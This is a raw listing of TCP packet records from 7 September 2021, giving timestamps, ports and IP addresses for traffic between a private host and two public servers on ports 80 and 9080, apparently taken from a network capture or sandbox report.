Sep 7, 2021 16:02:49.173127890 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.173157930 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.183197021 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.257898092 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:50.694719076 CEST	49754	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:50.748164892 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:50.748245001 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:50.757251978 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:50.776788950 CEST	80	49754	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:50.776891947 CEST	49754	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:50.777189016 CEST	49754	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:50.777208090 CEST	49754	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:50.834630013 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:50.860810041 CEST	80	49754	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:50.861485958 CEST	80	49754	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.016181946 CEST	80	49754	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.016221046 CEST	80	49754	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.017076969 CEST	49754	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.027348995 CEST	49754	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.105103016 CEST	49755	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.115799904 CEST	80	49754	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.195266962 CEST	80	49755	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.195380926 CEST	49755	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.196702957 CEST	49755	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.196824074 CEST	49755	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.284662962 CEST	80	49755	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.467909098 CEST	80	49755	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.468116045 CEST	80	49755	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.468204021 CEST	49755	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.468314886 CEST	49755	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.560245991 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.639924049 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.640047073 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.640191078 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.653362989 CEST	80	49755	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.653526068 CEST	49755	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.764215946 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.826102972 CEST	49755	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.853964090 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854012012 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854120016 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.854162931 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854181051 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854198933 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854217052 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854234934 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854252100 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854264021 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854275942 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.854420900 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.854439020 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.854441881 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.902380943 CEST	80	49755	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.923841953 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.923868895 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.923886061 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.923902988 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.923939943 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.923953056 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.923970938 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.923973083 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.923985004 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924001932 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.924005032 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924024105 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924034119 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.924041986 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924060106 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924069881 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.924077034 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924097061 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924099922 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.924117088 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924133062 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924140930 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.924149990 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924165964 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924184084 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924187899 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.924220085 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.924354076 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.924397945 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.998684883 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998727083 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998747110 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998764038 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998781919 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998801947 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998858929 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998872042 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.998886108 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998904943 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998904943 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.998922110 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998939037 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998955965 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.998959064 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998977900 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.998996019 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999016047 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999017954 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999021053 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999033928 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999051094 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999068022 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999074936 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999078989 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999084949 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999105930 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999151945 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999152899 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999171019 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999193907 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999216080 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999231100 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999238014 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999255896 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999265909 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999272108 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999284983 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999296904 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999320030 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999344110 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999353886 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999358892 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999367952 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999391079 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999413967 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999439955 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999442101 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999445915 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999461889 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999488115 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999505997 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999524117 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999528885 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999547958 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999566078 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:51.999588966 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999593019 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:51.999619007 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.078057051 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078097105 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078114986 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078136921 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078156948 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078181028 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078203917 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078223944 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078243971 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078263044 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078283072 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078301907 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078320980 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078341961 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078361988 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078382015 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078402996 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078423023 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078444004 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078480959 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078495026 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078511000 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078526020 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078541994 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078557014 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078579903 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078602076 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078624010 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078641891 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078661919 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078685999 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078706026 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078722954 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078742981 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078766108 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078783989 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078803062 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078824997 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078840017 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078859091 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078876019 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078893900 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078912020 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078933001 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078950882 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078968048 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078984022 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.078999996 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.079169989 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.079188108 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.165440083 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165477991 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165518999 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165537119 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165554047 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165601015 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165615082 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.165708065 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165735006 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165754080 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165772915 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165822983 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.165833950 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.165853024 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165877104 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165900946 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165925026 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165946007 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165963888 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.165983915 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166002989 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166024923 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166040897 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.166043043 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166049004 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.166089058 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166105986 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166126013 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166142941 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166171074 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166196108 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166218042 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.166223049 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166235924 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.166277885 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166301966 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166323900 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166327953 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.166347027 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166379929 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166384935 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.166404009 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166421890 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166450024 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166470051 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166492939 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166512012 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166532040 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166549921 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166568041 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166585922 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166604042 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166623116 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166630983 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.166640043 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166660070 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166680098 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166697979 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.166783094 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.203583002 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.239984035 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.240026951 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.240051985 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.240076065 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.240098000 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.240123987 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.240274906 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.240354061 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.241662025 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241703987 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241729021 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241750956 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241772890 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241772890 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.241796017 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241818905 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241832972 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.241837978 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.241842031 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241864920 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241890907 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.241906881 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.242089987 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.245793104 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.276719093 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.276951075 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.276974916 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.276992083 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277013063 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277029991 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277050972 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277070045 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277087927 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277087927 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.277100086 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277101994 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.277112961 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277129889 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277141094 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277153969 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277165890 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277178049 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277189970 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277201891 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277213097 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277225018 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277235985 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277246952 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277264118 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277280092 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277333021 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.277349949 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.277371883 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277445078 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277466059 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277482986 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277503014 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277510881 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.277517080 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277518988 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.277544975 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277565956 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.277566910 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.277571917 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.278836012 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.314836025 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.314889908 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.314929008 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.314970970 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.314981937 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.315010071 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315052032 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315094948 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315135956 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.315144062 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.315166950 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315210104 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315253019 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315293074 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315332890 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315336943 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.315344095 CEST	49756	80	192.168.2.4	5.188.88.63
